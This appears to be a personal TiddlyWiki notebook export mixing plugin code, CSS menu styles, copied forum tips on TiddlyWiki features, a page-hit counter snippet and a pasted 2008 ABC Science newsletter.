	// generate header (if any)
	var out=header.format([cwd,new Date().toLocaleString()]);
	// add "parent folder" (if any) - for directory listings
	if (showDirectory) { 
		var p=getParentFolder(cwd);
		if (p) files.unshift({path:p, name:"(parent folder)", size:0, isFolder:true, url:"file:///"+p.replace(/\\/g,"/"),
			modified:new Date().formatString("YYYY.0MM.0DD 0hh:0mm:0ss")});
	}
	// for each file, generate a line item (and add up total size)
	var total=0;
	for (var i=0; i<files.length; i++) {
		var line=(files[i].isFolder?folderitem:item).format([files[i].path,files[i].name,files[i].url,files[i].size,files[i].modified]);
		if (showDirectory) line=line.replace(/\\/g,"\\\\"); // fixup for PC-style file paths embedded in 'folderscript'
		if (!files[i].isFolder) total+=files[i].size;
		out+=line;
	}
	// generate the summary (if any)
	out+=footer.format([total,files.length]);
	return out;
</script>
}}}
config.options.chkShowQuickEdit=true;
<<search>><<closeAll>>@@color:#c06;''&bull;''@@<<permaview>>@@color:#c06;''&bull;''@@<<newTiddler>>@@color:#c06;''&bull;''@@<<newJournal "DD MMM YYYY" "journal">>@@color:#c06;''&bull;''@@<<saveChanges>>@@color:#c06;''&bull;''@@<<tiddler TspotSidebar>>@@color:#c06;''&bull;''@@<<slider chkSliderOptionsPanel OptionsPanel "options »" "Change TiddlyWiki advanced options">>
#container {
position: relative;
margin: 0 auto;
padding: 0;width: 770px;	
text-align: left;
background: #F1EFE2 url(container-bg.gif) no-repeat 0px 185px;}

#detail-left
 {position: absolute;
top: 185px;left: 0;
margin: 0;
padding: 0;
width: 10px;
height: 65px;
background: url(detail-left.gif) no-repeat;
}

#detail-right {
position: absolute;top:
 185px;right: 0;
margin: 0;
padding: 0;
width: 10px;
height: 65px;
background: url(detail-right.gif) no-repeat;
}
<html><hide linebreaks>
<div class="container">
<div class="left" macro='tiddler SideBarOptions'></div>
<div class="content" macro='tiddler SideBarTabs'></div>
<div
<div  class="footer" macro='tiddler ToolTabs'></div>
</html>

<html><div id="systemcontents">@@padding:0.6em;<<slider chkSliderSideBarTabs SideBarTabsSlider 'tabs »' 'tiddlers, timeline, all, tags, and more'>>@@</div></html>
<<tabs txtMainTab "Timeline" "Timeline" TabTimeline "All" "All tiddlers" TabAll "Tags" "All tags" TabTags "More" "More lists" TabMore>>
http://img210.imageshack.us/img210/7721/leftbackih2mw6.gif
http://img518.imageshack.us/img518/465/bgxbk0.jpg
http://img301.imageshack.us/img301/5717/arrowju2.gif
http://img262.imageshack.us/img262/2443/backtapisrouge1pf3.gif
> is it possible to create a template for printing which does not show
> tiddlyLinks in a special format?

Try adding the following to your StyleSheet shadow tiddler:
---------------
/*{{{*/
@media print {
     .viewer a.tiddlyLink {
         font-weight: normal;
         font-style: normal;
         color: [[ColorPalette::Foreground]];
     }
}

/*}}}*/
---------------

HTH.

-- F.


Source: [[SideSnips - the resource builder|file:///H:/SideSnip/sidesnips-try.html]]
==== ABC Science Updates, 8 May 2008 ====

==== NEW ON ABC SCIENCE ONLINE ====
==== http://www.abc.net.au/science ====


== IN DEPTH: LOW CARB CARS==
Rising oil prices and greenhouse gas emissions are pushing us to look at our motor vehicle use – but what are the alternatives and will they work in Australia?
http://abcmail.net.au/t/148534/683109/3173/0/

== DR KARL: MICROWAVE EXPLOSION==
In the world of kitchen convenience, there are many advantages to microwaves. But there are times when you must be wary of them. Dr Karl has seen the dark side. http://abcmail.net.au/t/148534/683109/3172/0/

== TOP STORIES FROM NEWS IN SCIENCE == http://abcmail.net.au/t/148534/683109/1759/0/

BLACK HOLE HAD 18TH CENTURY FEEDING FRENZY
About 300 years ago, the black hole lurking in the heart of the Milky Way woke from hibernation and entered a feeding frenzy, triggering a cascade of x-rays that reverberated off nearby clouds, researchers say.
http://abcmail.net.au/t/148534/683109/3174/0/

DINOSAUR KILLER MAY HAVE STRUCK OIL
The dinosaur-killing Chicxulub meteor might have ignited an oilfield rather than forests when it slammed into the Gulf of Mexico 65 million years ago, say geologists.
http://abcmail.net.au/t/148534/683109/3175/0/

NEANDERTHALS WERE QUITE SEPARATE
A simplified family tree of humanity has dealt a blow to those who contend that Neanderthals intermingled with our forebears.
http://abcmail.net.au/t/148534/683109/3176/0/

WEIRD ELECTRONS MAY SHRINK YOUR LAPTOP
A new type of material with bizarre acting electrons could bring dramatic advances in the world of electronics, predicts an Australian researcher.
http://abcmail.net.au/t/148534/683109/3177/0/

== IN THE SKY THIS WEEK == http://abcmail.net.au/t/148534/683109/1764/0/
The First Quarter Moon is Monday May 12. The evening sky is to the north is enlivened by Mars and Saturn. In the North-west Mars is in Gemini and forms a line with the bright stars Castor and Pollux (the twins of Gemini). On Saturday March 10, Mars is near the Crescent Moon, forming an interesting line-up with the twins. Mercury can be seen peaking up over the horizon at twilight. Saturn can be seen near the bright star Regulus high in the northern sky. On the nights of 12 and 13 May the waxing Moon is close to this pairing. Jupiter can now be seen above the eastern horizon in the late evening. In the morning, Venus is very low in the eastern twilight, and difficult to see.

== ABC GREEN AT WORK ==http://abcmail.net.au/t/148534/683109/2581/0/
== BUSTED! ZAN ROWE FROM TRIPLE J ==
Zan Rowe is an eco-warrior, so green that she’s making her workmates see red. In this exposing ‘Busted’ video, Ronan Sharkey shows just how punishing she is to triple j staff, and decides to put her in her place!
http://abcmail.net.au/t/148534/683109/3178/0/

== ABC HEALTH & WELLBEING == http://abcmail.net.au/t/148534/683109/1765/0/
== THE PULSE: THE WINTER FLU JAB ==
Winter's here, and it's time to think about getting the flu shot - especially for 'at risk' groups, and that includes younger children.
http://abcmail.net.au/t/148534/683109/3147/0/

== TRANSCRIPTS NOW ONLINE

THE FLOOD PULSE (Catalyst: 01/05/2008)
http://abcmail.net.au/t/148534/683109/3179/0/

COORONG: THE END OF THE LINE (Catalyst: 01/05/2008)
http://abcmail.net.au/t/148534/683109/3180/0/

ACID MUD (Catalyst: 01/05/2008)
http://abcmail.net.au/t/148534/683109/3181/0/

FIRE AND WATER (Catalyst: 01/05/2008)
http://abcmail.net.au/t/148534/683109/3182/0/

IN COLD BLOOD? (In Conversation: 01/05/2008)
http://abcmail.net.au/t/148534/683109/3183/0/

DISEMBODIED BRAINS, CULTURE AND SCIENCE: INDIGENOUS LIVES UNDER GAZE [PART 2 OF 2] (All In The Mind: 03/05/2008)
http://abcmail.net.au/t/148534/683109/3169/0/

MENTORING FOR SCIENCE STUDENTS (Science Show: 03/05/2008)
http://abcmail.net.au/t/148534/683109/3184/0/

THE LEWIN PHYSICS LECTURES (Science Show: 03/05/2008)
http://abcmail.net.au/t/148534/683109/3185/0/

QED – A PLAY ABOUT RICHARD FEYNMAN (Science Show: 03/05/2008)
http://abcmail.net.au/t/148534/683109/3186/0/

FLACCO – DARK MATTER (Science Show: 03/05/2008)
http://abcmail.net.au/t/148534/683109/3187/0/

UNICELLULAR ORGANISMS IN ANTARCTICA – RESPONSE TO EXTENDED DARKNESS AND TEMPERATURE CHANGE (Science Show: 03/05/2008)
http://abcmail.net.au/t/148534/683109/3188/0/

THE LOH DOWN ON SCIENCE – SCENT OF A STRIPPER (Science Show: 03/05/2008)
http://abcmail.net.au/t/148534/683109/3189/0/

AUSTRALIAN SEA FLOOR EXPANDS (Science Show: 03/05/2008)
http://abcmail.net.au/t/148534/683109/3190/0/

== COMING UP ON ABC RADIO == http://abcmail.net.au/t/148534/683109/1773/0/

SCIENCE SHOW - Budgets and platypuses
Saturday 10 May, 12.05pm & Monday 12 May, 7.05pm RN
If Sara rather than Swan were the treasurer making the budget speech next Tuesday, what would she announce for science? Vicki Sara is the Chancellor of UTS and former head of the ARC (Australian Research Council). She says young scientists are being let down in this country and reform can't wait. But how much more does Australian R&D really need? Free advice on the Science Show for Wayne Swan. PLUS: how they cracked the platypus genome, announced this week.
http://abcmail.net.au/t/148534/683109/902/0/

ALL IN THE MIND – Quitting the habit: neurobiology, addiction and the insidious ciggie.
Saturday 10 May, 1.05pm, & Monday 12 May, 1.05pm RN
Smokers cling to the ciggies for dear life, knowing it will likely be a much shorter one. An anti-smoking drug released in Australia targets nicotine receptors in the brain, working differently to traditional nicotine replacement therapies. But are we too fixed on a quick fix for addiction? And, the challenge of investigating post-marketing reports that the drug may trigger suicidal thoughts and behaviour in some users. Real side effect of the meds, or part of nicotine withdrawal?
http://abcmail.net.au/t/148534/683109/903/0/

THE PHILOSOPHER’S ZONE - Practical philosophy and speculative fiction
Saturday 10 May, 1.30pm & Monday 12 May, 1.35pm RN
The philosophy of Vedanta, which derives from the ancient Hindu Scripture, aspires to scientific knowledge about how life is to be lived. This week, we examine its claims. We also look at a new novel that asks what might happen if the work of Plato were to be put into practice. The result? Totalitarianism plus genetic engineering.
http://abcmail.net.au/t/148534/683109/904/0/

OCKHAM'S RAZOR - Secrets of the immune system
Sunday 11 May, 8.45am RN
To mark World Day of Immunology, President of the Australasian Society for Immunology, Dr Alan Baxter delves into our immune system to explain how our body deals with infection. Protection from infection is critical to our survival; almost every aspect of our biology has evolved to protect us from those organisms that cause actual harm.
http://abcmail.net.au/t/148534/683109/910/0/

INNOVATIONS
Sunday 11 May (0830hrs UT), Monday 12 May (1330 & 1705hrs UT), Wednesday 14 May (0430hrs UT), Radio Australia
New frontiers in measuring radiation with a human cell-sized detector; East meets West to unlock the secrets of bitter melon, and, will funnel web spider venom save farmers from a pest invasion?
http://abcmail.net.au/t/148534/683109/1775/0/

HEALTH REPORT – Alzheimer’s disease risks are gender specific
Monday 12 May, 8.30am and 8.05pm RN
A recent study by French researchers suggests that the risk of developing Alzheimer’s disease differ between the sexes, with stroke in men, and depression in women critical factors. The researchers looked at almost 7000 people over the age of 65, which were drawn from the general population in three French cities. None had dementia, but around four out of 10 were deemed to have mild cognitive impairment at the start of the study. Their progress was assessed two and four years later.
http://abcmail.net.au/t/148534/683109/920/0/

IN CONVERSATION - Meanwhile, the science of the book.
Thursday 15 May, 7.35pm
Geraldine Brooks's The People Of The Book has been a massive best seller in Australia. But how did she prepare the science that is fundamental to her story. The archaeology, pigment chemistry and, indeed brain surgery is detailed and convincing. Brooks talks to Robyn Williams about why the science was so important to her - and the book.
http://abcmail.net.au/t/148534/683109/1468/0/

== HIGHLIGHTS ON ABC TV == http://abcmail.net.au/t/148534/683109/1773/0/

CATALYST
ABC 1, Thursday 15 May, 8pm
London is calling and the energy stakes are high but everyone in the city is a potential winner; a new green cement promises to reduce carbon emissions; and Dr Norman Swan asks, can you be fat and fit?
http://abcmail.net.au/t/148534/683109/834/0/



Source: [[Sidebar Notes - all things aside|file:///F:/TiddlyWiki2.3/sidebarnotes/sidebarnotes.html#%5B%5BMoreTools%5D%5D]]
{{borderless{
|[[Open in a new window|http://groups.google.com/group/sidebarnews]]&nbsp;&raquo;|
----
<html><div align="center"><iframe  src ="http://groups.google.com/group/sidebarnews" width="100%" align="center" height="600" scrolling="auto" frameborder="0" allowtransparency style="border:none;"></iframe></div></html>}}}
----
@@padding-left:1.5em;color:#C06;''&raquo;'' <html><a href="file:///F:\TiddlyWiki\SidebarPluginVault\sidebarpluginvault.html" target="_top">~SidebarPluginVault</a></html>@@@@padding-left:1em;color:#C06;'&raquo;'' <html><a href="file:///F:\TiddlyWiki\Sideminder\sideminder-local.html" target="_top">~SideMinder</a></html>@@
----
Name	NestedSlidersPlugin
Source	http://www.TiddlyTools.com/#NestedSlidersPlugin
Version	2.3.2
Author	Eric Shulman - ELS Design Studios
License	http://www.TiddlyTools.com/#LegalStatements
and Creative Commons Attribution-ShareAlike 2.5 License
CoreVersion	2.1
Type	plugin
Requires	
Overrides	Slider.prototype.stop
Description	show content in nest-able 'slider' or 'floating' panels, without needing to create separate tiddlers for each panel

Source: [[SidebarProjects|file:///F:/TiddlyWiki2.3/SideBarProjects/MySidebarProjects/sidebarprojects.20080508.0226100022.20080508.0231300226.html]]
> Is their a way to have a tiddler created silently? IE - Enter info at
> prompt and tiddler creates, saves, and closes 

{{{
Using InlineJavascriptPlugin, you can create an 'onclick' script, like
this:
<script label="New Project">
   var title='NewTiddler';
   var txt=store.getTiddlerText("ProjectTemplate", "").replace(/
Project1/g, prompt("Enter Project Tag (No Spaces or special
characters)"));
   var who=config.options.txtUserName;
   var when=new Date();
   var tags='fETTasks';
   var fields={};
   store.saveTiddler(title,title,txt,who,when,tags,fields);
</script> 
}}}

Source: [[Silent Tiddler Creation (No displayTiddler and focusTiddler steps) - TiddlyWikiDev : Google Groups|http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/64be0585f66d6fe5/c656d7f67afc8f7d?lnk=gst&q=silent+tiddler#c656d7f67afc8f7d]]
<html><span style="color:#009;font-variant:small-caps;line-height:1.9em;font-size:10pt;font-weight:normal;letter-spacing: 0.5em;padding-left:0.5em;"><a href="javascript:void(0)" onclick="story.closeAllTiddlers();story.displayTiddlers(null,store.getTiddlerText('DefaultTiddlers').readBracketedList())"><span title="Close all tiddlers and go Home" style="cursor:pointer">~SideSnips</span></span></a><br><span style='letter-spacing: 0.0em;font-size:7pt;'>&nbsp;&nbsp;<a href="javascript:void(0)" onclick="story.closeAllTiddlers();story.displayTiddlers(null,store.getTiddlerText('DefaultTiddlers').readBracketedList())"><span title="Close all tiddlers and go Home" style="cursor:pointer">home</span></a>@@color:#C06;&nbsp;|&nbsp;@@[[view|ViewTabs]] @@color:#C06; &nbsp;|&nbsp;@@<<saveChanges>>@@color:#C06;&nbsp;|&nbsp;@@<<toggleslantedmenu "" "" hide>></span></span></html>{{span{@@color:#C06;&nbsp;|&nbsp;@@@@font-size:7pt;+++[sidebar links] <<tiddler [[SidebarLinks]]>>===@@&nbsp;[[»|Index]]<script>
  if (document.location.protocol!='file:')place.style.display='none';</script>}}}
I'm wondering if there's a plugin available for adding simple diagrams
to tiddlers. Googling didn't yield much. There was some stuff for SVG,
but that's a bit over the top for my needs and doesn't work reliably
in some of the browsers I need to support.

I'm really talking boxes, text and arrows. Nothing more. 

Source: [[Simple diagrams - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/cf4f927b1e1dee3d/2bcfff50ad8e58c6#2bcfff50ad8e58c6]]
Even without plugin code, you can use the 3rd-party service directly
from the [img[...]] syntax, like this:
-------------
[img[http://www.yourequations.com/eq.latex?$$f(x)=\displaystyle\frac{(x
+1)^2}{(x+1)}=(x+1)$$]]

[img[http://www.yourequations.com/eq.latex?$$c^2=\sqrt{a^2+b^2}$$]]

[img[http://www.yourequations.com/eq.latex?$$f(x)=\displaystyle\frac{(x
+1)^2}{(x+1)}=(x+1)$$]]

Here is the preceeding text  [img[http://www.yourequations.com/eq.latex?$$\int_{-\infty}^{\infty}e^{-x^{2}}\;dx=\sqrt{\pi}
$$]] and here is the following text.


[img[http://www.yourequations.com/eq.latex?$$\int_{0}^{1}\frac{x^{4}\left(1-x\right)^{4}}{1+x^{2}}dx=\frac{22}{7}-\pi$$]]
-------------
(note: GoogleGroups tends to insert word-wrapping linebreaks...the
above should be all one line)

enjoy,
-e 

Source: [[Simpler Math Plugin - TiddlyWikiDev : Google Groups|http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/245b31221ec223a7]]
Whenever a tiddler is rendered, the core code automatically scrolls
the page (if needed) to ensure that the tiddler is visible.  However,
if the tiddler is longer than a single screen, this can result in the
page header area (where SiteTitle and SiteSubtitle are displayed)
being scrolled off the top.  SinglePageModePlugin adds extra scroll
handling to address this case.

You can disable this extra scroll handling by setting a cookie-based
option value via a checkbox using
{{{
   <<option chkSinglePageAutoScroll>>
(see Configuration section of the plugin...)
}}}

or, you can set a 'sticky' value by putting the following line:
   config.options.chkSinglePageAutoScroll=false;
into a tiddler tagged with "systemConfig"
(and then save-and-reload for it to take effect).

Note: this still might not solve your problem, as it may be the
*core's* scroll handling that is the real culprit here. 

Source: [[First post and a little help needed - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/a5b9c68c8fffe5b]]
Note: using CSS class wrappers is the recommended method, as it allows
for easier central management of styles, rather than having numerous
instances of inline CSS embedded in various tiddlers.  To get a quick
start on some CSS class definitions that provide a variety of
'formatting shortcuts', see:
   http://www.TiddlyTools.com/#StyleSheetShortcuts

The easiest way to install these shortcuts is to simply import the
entire tiddler from TiddlyTools.com, and then add the following to
your [[StyleSheet]]:
   [[StyleSheetShortcuts]]
   (with the brackets)
This will "include" the shortcuts into the StyleSheet without having
to copy/paste the actual CSS definitions. 

Source: [[Site Title Color - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/371d1f5c2e513d04]]
the resource builder
~SideSnips
<<gradient vert #eee #eee #eee #eee #abf>><html><span style="font-size:9pt;letter-spacing: 0.5em;font-weight:normal;padding-left:0.75em;color:#c06;">the resource builder</span><div id="slantedmenu" padding:top:2em;white-space:nowrap;><span style='font-weight:normal;float:center;'><ul><li><a href="javascript:void(0)" onclick="story.closeAllTiddlers();story.displayTiddlers(null,store.getTiddlerText('DefaultTiddlers').readBracketedList())"><span title="Close all tiddlers and go Home" style="cursor:pointer">Home</span></a></li><li><span style="float:center;padding-left:0em;" title="Load this page in sidebar" style="cursor:help"><a href="#" target="_search">« Load</a></span></li><li><<toggleToolyBars "" "" show>></li><li><<toggleTiddlersBar "" "" show>></li><li><span title='Help on using SideSnips'>[[Help|Help]]</span></li><br><li><<search>></li><li><span style='align-center;'><<slider " " "SearchOptions" "options" "choose from titles/text/tags or GoTo"'>></span></li><br><li><span title='view all tabs listed by category'>[[View|ViewTabs]]</span></li><li><<newTiddler>></li><li><<saveChanges>></li><li><<newJournal "YYYY.0MM.0DD 0hh:0mm:0ss" "journal">></li><li><span title='save changes, save as, upload/download'>[[Tools|MoreTools]]</span></li><br></li></div></html>>>
<html><hide linebreaks><div id="slantedmenu"><ul><li>&nbsp;<a href="javascript:void(0)" onclick="story.closeAllTiddlers();story.displayTiddlers(null,store.getTiddlerText('DefaultTiddlers').readBracketedList())"
><span title="Close all tiddlers and open Welcome" style="cursor:pointer">''Home''</span></a></li><li>[[OverView]]</li><li>[[Contents|Table of Contents]]</li><li>[[Glossary]]</li></li><li>[[Tutorial|MemorizePalette]]</li><li>[[Forum|http://groups.google.com/group/TiddlyWiki]]</li><li><<tiddler GoTo>></li></li></ul></div></html>
@@font-size:0.95em;<html><div id="slantedmenu" padding:top:2em;><span style='font-weight:normal;float:center;'><ul><li><a href="javascript:void(0)" onclick="story.closeAllTiddlers();story.displayTiddlers(null,store.getTiddlerText('DefaultTiddlers').readBracketedList())"><span title="Close all tiddlers and open Welcome" style="cursor:pointer">Home</span></a></li><li><span style="float:center;padding-left:0em;" title="Load this page in sidebar" style="cursor:help"><a href="#" target="_search">« Load</a></span></li><li><<toggleToolyBars "" "" hide>></li><li>[[View|ViewTabs]]</li><li><span title='open sidebar tools for upload download advanced options'>[[Tools|MoreTools]]</li></span></li><br><li><<search>></li><li>[[options|Search]]</li><br><li><<newTiddler>></li><li>[[Help|Help]]</li><li><<toggleTiddlersBar "" "" show>></li><li><<newJournal "YYYY.0MM.0DD 0hh:0mm:0ss" "journal">></li><br><li><<fontSize>></li></div></html>@@
/***
!!!<<gradient horiz #fcb #fff >><<tiddler RefreshStyles>>&nbsp;SlantedStyle&nbsp;&nbsp;>>/%==================================================%/
***/

/*Credits: Dynamic Drive CSS Library */
/*URL: http://www.dynamicdrive.com/style/ */

#slantedmenu{
  font-size: 95%;
  border-bottom: solid 0px #00a;
  border-top: solid 1px #c06;
}

#slantedmenu:after{ /*Add margin between menu and rest of content in Firefox*/
content: "."; 
display: block; 
height: 0; 
clear: both; 
visibility: hidden;
}

#slantedmenu ul{
text-indent: 10px;
padding: 7px 0;
margin: 0;
background:transparent;
background-color: ; 
border: 0px solid #f6f;
text-align: center; /*set value to "center" for example to center items*/
}

#slantedmenu ul li{
display: inline;
}

#slantedmenu ul li a{
font-weight: bold;
color: #00a;
padding: 3px 0;
padding-right: 5px;
padding-left: 5px;
margin: 0;
text-decoration: none;
background: transparent url("") top right no-repeat;
}


#slantedmenu ul li a:hover{
color: #f00;
background:#fff;
}
/***
!!!<<gradient horiz #fcb #fff >>&nbsp;SlantedStyle2&nbsp;<<tiddler RefreshStyles>>&nbsp;>>/%==================================================%/
***/

/*Credits: Dynamic Drive CSS Library */
/*URL: http://www.dynamicdrive.com/style/ */

#slantedmenu2 {
  font-size: 95%;
  border-bottom: solid 1px #00a;
  border-top: solid 1px #00a;
}

#slantedmenu2:after{ /*Add margin between menu and rest of content in Firefox*/
content: "."; 
display: block; 
height: 0; 
clear: both; 
visibility: hidden;
}

#slantedmenu2 ul{
text-indent: 10px;
padding: 7px 0;
margin: 0;
background-color: #ccc; 
border: 0px solid #f6f;
text-align: center; /*set value to "center" for example to center items*/
}

#slantedmenu2 ul li{
display: inline;
}

#slantedmenu2 ul li a{
font-weight: bold;
color: #00a;
padding: 3px 0;
padding-right: 5px;
padding-left: 5px;
margin: 0;
text-decoration: none;
background: transparent url("") top right no-repeat;
}


#slantedmenu2 ul li a:hover{
color: #f00;
background:#fff;
}
I've just updated SliceGridPlugin so that row headings will now be
wikified.  As such, the "shift-click to preview" provided by
PopupPreviewPlugin will now work for row headings as well as cell
content.

Get the update (v1.0.2) here:
   http://www.tiddlytools.com/#SliceGridPlugin 

Source: [[SliceGrid style question - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/ba090efdb555fefe]]
Actually, ~TiddlyVault is just using several of the TW core's standard
{{{<<slider>>}}} macros in the [[MainMenu]], with a little bit of extra CSS
applied via a "class wrapper" around each, like this:

{{{
{{tuduSlider{<<slider chkAppearance Appearance 'Appearance »'>>}}}
{{tuduSlider{<<slider chkNavigation Navigation 'Navigation »'>>}}}
{{tuduSlider{<<slider chkTools Tools 'Tools »'>>}}}
{{tuduSlider{<<slider chkWorkingWith WorkingWith 'Working with...
»'>>}}}
}}}

Where "tuduSlider" is a custom CSS class (defined in [[StyleSheet]]),
and the macro params are:
{{{<<slider cookiename tiddlername label tooltip>>}}}

This means that there are four separate tiddlers that define the
contents of the menu subsections: Appearance, Navigation
Tools, and ~WorkingWith, each of which contains a bullet list
of ~TiddlyLinks.

You can get a similar effect by importing:
http://www.TiddlyTools.com/#NestedSlidersPlugin
which will allow you to write the entire menu within the MainMenu
tiddler, without using separate tiddlers for each subsection, like
this:
{{{
+++(chkAppearance){{classname{[Appearance »]}}}
* bullet
* bullet
etc.
===
+++(chkNavigation){{classname{[Navigation »]}}}
* bullet
* bullet
etc.
===
+++(chkTools){{classname{[Tools »]}}}
* bullet
* bullet
etc.
===
+++(chkWorkingWith){{classname{[WorkingWith »]}}}
* bullet
* bullet
etc.
===
}}}
... and, you can also add a "*" into the ~NestedSliders usage, like
this:
{{{
+++(cookiename)!!!*{{classname{[label]}}}
* bullet
* bullet
etc.
===
}}}
which makes each slider "transient", so that only one slider is open
at a time (i.e., the 'accordion effect', and clicking elsewhere in the
document closes all subsections to automatically reduce clutter while
working.

There's several other convenient syntax options, including alternative
labels for opened vs. closed sliders and key assignments for quick alt-
shift-letter access.  See
http://www.TiddlyTools.com/#NestedSlidersPluginInfo for complete details.}}}

e
enjoy, 

Source: Tiddly Vault Menu - TiddlyWiki : Google Groups
{{{
<!-- Start of StatCounter Code -->
<script type="text/javascript">
sc_project=3653010; 
sc_invisible=1; 
sc_partition=43; 
sc_security="b4c0f3d9"; 
</script>

<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script><noscript><div class="statcounter"><a href="http://www.statcounter.com/" target="_blank"><img class="statcounter" src="http://c44.statcounter.com/3653010/0/b4c0f3d9/1/" alt="web page hit counter" ></a></div></noscript>
<!-- End of StatCounter Code -->
}}}
{{textindent05{

[img[http://img341.imageshack.us/img341/5696/folderry6.gif]]+++[Bookmarks]
<<tiddler BookmarkList>>
===

[img[http://img341.imageshack.us/img341/5696/folderry6.gif]]+++[BrowserTips]
<<tiddler BrowserTipsList>>
===

[img[http://img341.imageshack.us/img341/5696/folderry6.gif]]+++[CSS]
<<tiddler CSSList>>
===

[img[http://img341.imageshack.us/img341/5696/folderry6.gif]]+++[HTML]
<<tiddler HTMLList>>
===

[img[http://img341.imageshack.us/img341/5696/folderry6.gif]]+++[JavaScript]
<<tiddler JavaScriptList>>
===

[img[http://img341.imageshack.us/img341/5696/folderry6.gif]]+++[JQuery]
<<tiddler JQueryList>>
===

[img[http://img341.imageshack.us/img341/5696/folderry6.gif]]+++[Macros]
<<tiddler MacrosList>>
===

[img[http://img341.imageshack.us/img341/5696/folderry6.gif]]+++[MyStuff]
<<tiddler MyStuffList>>
===

[img[http://img341.imageshack.us/img341/5696/folderry6.gif]]+++[Plugins]
<<tiddler PluginsList>>
===

[img[http://img341.imageshack.us/img341/5696/folderry6.gif]]+++[TSDevelopment]
<<tiddler TSDevelopmentList>>
===

[img[http://img341.imageshack.us/img341/5696/folderry6.gif]]+++[TWLinks]
<<tiddler TWLinksList>>
===

[img[http://img341.imageshack.us/img341/5696/folderry6.gif]]+++[TWTips]
<<tiddler TWTipsList>>
===

[img[http://img341.imageshack.us/img341/5696/folderry6.gif]]+++[Vista]
<<tiddler VistaList>>
===

}}}
How to Start Your Family History - from FamilySearch.org

Source: [[Sonora FHC Wiki|http://sonorafhc.tiddlyspot.com/]]
/***
|''Name:''|SparklinePlugin|
|''Description:''|Sparklines macro|
***/
//{{{
if(!version.extensions.SparklinePlugin) {
version.extensions.SparklinePlugin = {installed:true};

//--
//-- Sparklines
//--

config.macros.sparkline = {};
config.macros.sparkline.handler = function(place,macroName,params)
{
	var data = [];
	var min = 0;
	var max = 0;
	var v;
	for(var t=0; t<params.length; t++) {
		v = parseInt(params[t]);
		if(v < min)
			min = v;
		if(v > max)
			max = v;
		data.push(v);
	}
	if(data.length < 1)
		return;
	var box = createTiddlyElement(place,"span",null,"sparkline",String.fromCharCode(160));
	box.title = data.join(",");
	var w = box.offsetWidth;
	var h = box.offsetHeight;
	box.style.paddingRight = (data.length * 2 - w) + "px";
	box.style.position = "relative";
	for(var d=0; d<data.length; d++) {
		var tick = document.createElement("img");
		tick.border = 0;
		tick.className = "sparktick";
		tick.style.position = "absolute";
		tick.src = "data:image/gif,GIF89a%01%00%01%00%91%FF%00%FF%FF%FF%00%00%00%C0%C0%C0%00%00%00!%F9%04%01%00%00%02%00%2C%00%00%00%00%01%00%01%00%40%02%02T%01%00%3B";
		tick.style.left = d*2 + "px";
		tick.style.width = "2px";
		v = Math.floor(((data[d] - min)/(max-min)) * h);
		tick.style.top = (h-v) + "px";
		tick.style.height = v + "px";
		box.appendChild(tick);
	}
};


}
//}}}
{{{config.textPrimitives.urlPattern = "(?:spotify|file|http|https|mailto|ftp|irc|news|data):[^\\s'\"]+(?:/|\\b)";}}}
Home script (inside html because I use it in a html formatted toolbar
(Morris Grays twtudu) ):

> Can I somehow get the tiddlers tagged with "startup" into the script
> too - or is there a workaround??
{{{
<html><a href="javascript:void(0)" onclick="story.closeAllTiddlers
();story.displayTiddlers(null,store.getTiddlerText
('DefaultTiddlers').readBracketedList())"><span title="Close all tiddlers and open the defaulttiddlers" style="cursor:pointer">''Home''</span></a></li></html> 
}}}
{{{
replace this:
   store.getTiddlerText('DefaultTiddlers').readBracketedList()
with:
   store.filterTiddlers(store.getTiddlerText('DefaultTiddlers')) 
}}}
Source: [[Startup tiddlers and homemacro - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/b6f1b168df4f763c]]
Ok, I have found a workaround for this import problem meantime:

If I put a "?" at the end of my import url then the effect of the
extra "/" added by TiddlyWiki is negated, the web page is delivered
and the Tiddler list appears.

So the import urls I could use are
A) http://mydomain.com/~j2fm/wiki/www/index.html?
B) http://mydomain.com/~j2fm/TWindex.html?
       or
C) http://mydomain.com/~j2fm/

Presumably there will be a permanent fix to this soon. 

Source: [[Strange Import Problem - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/d223f46fda25496a]]
Below, you will find the code and working examples for two different styles of an embedded Windows Media player.

**Please note that if you want to embed two or more instances of the player that uses the selection menu, you will need to be sure to give each instance a unique "name" and "id" in both the "Select" and Object" tag statements. You'll also need to be sure to use those names in the "onchange" statement of each as well. 

Source: [[Streamalot - How to embed a Media Player|http://www.streamalot.com/wm-embed.shtml]]
[[Streamalot - Media Players|http://www.streamalot.com/players.shtml]]
I am trying to determine if I'm properly evaluating the many
alternatives when considering forms and structured data storage in
Tiddlywiki. As with my templated html publishing notes, I will add any
notes to the wiki - after I get to a working solution. 

Source: [[Options for Forms and Structured Data Storage in Tiddlywiki - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/d0e7fe30c679e4fb]]
I've just posted a screen cast and a live demo of the Student Notebook in
case anyone here finds it of interest. The Student Notebook is a customized
TiddlyWiki used by students in conjunction with a class wiki (Wikispaces.)

Cheers,
Saq

    
PS: Naturally I forgot the link!
http://lewcid.org/2009/02/11/student-notebook-workflow-demo-and-screencast/

Source: [[Student notebook demo (TiddlyWiki in Education) - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/e708c65dfd392107]]
/***
!!!<<gradient horiz #FF8888 #ffffff >>&nbsp;~StyleSheet>>/%==================================================%/
***/
/*{{{*/


.viewer code {font-size:1.2em; line-height:1.4em;}


#sidebarOptions .sliderPanel {color#c06;}

.popup li a, .popup li a:visited {color:[[ColorPalette::Foreground]]; border: none;}
.popup li a, .popup li a:visited {color:#090; border: none;}
.popup li {list-style:none;}

body {background:#fff;
font-size:0.75em;
}

h1,h2,h3,h4,h5,h6 {font-weight:bold; text-decoration:none;}
h1,h2,h3 {padding-bottom:1px; margin-top:1.2em;margin-bottom:0.3em;}
h4,h5,h6 {margin-top:1em;margin-bottom:0.12em;}
h1 {font-size:1.35em;}
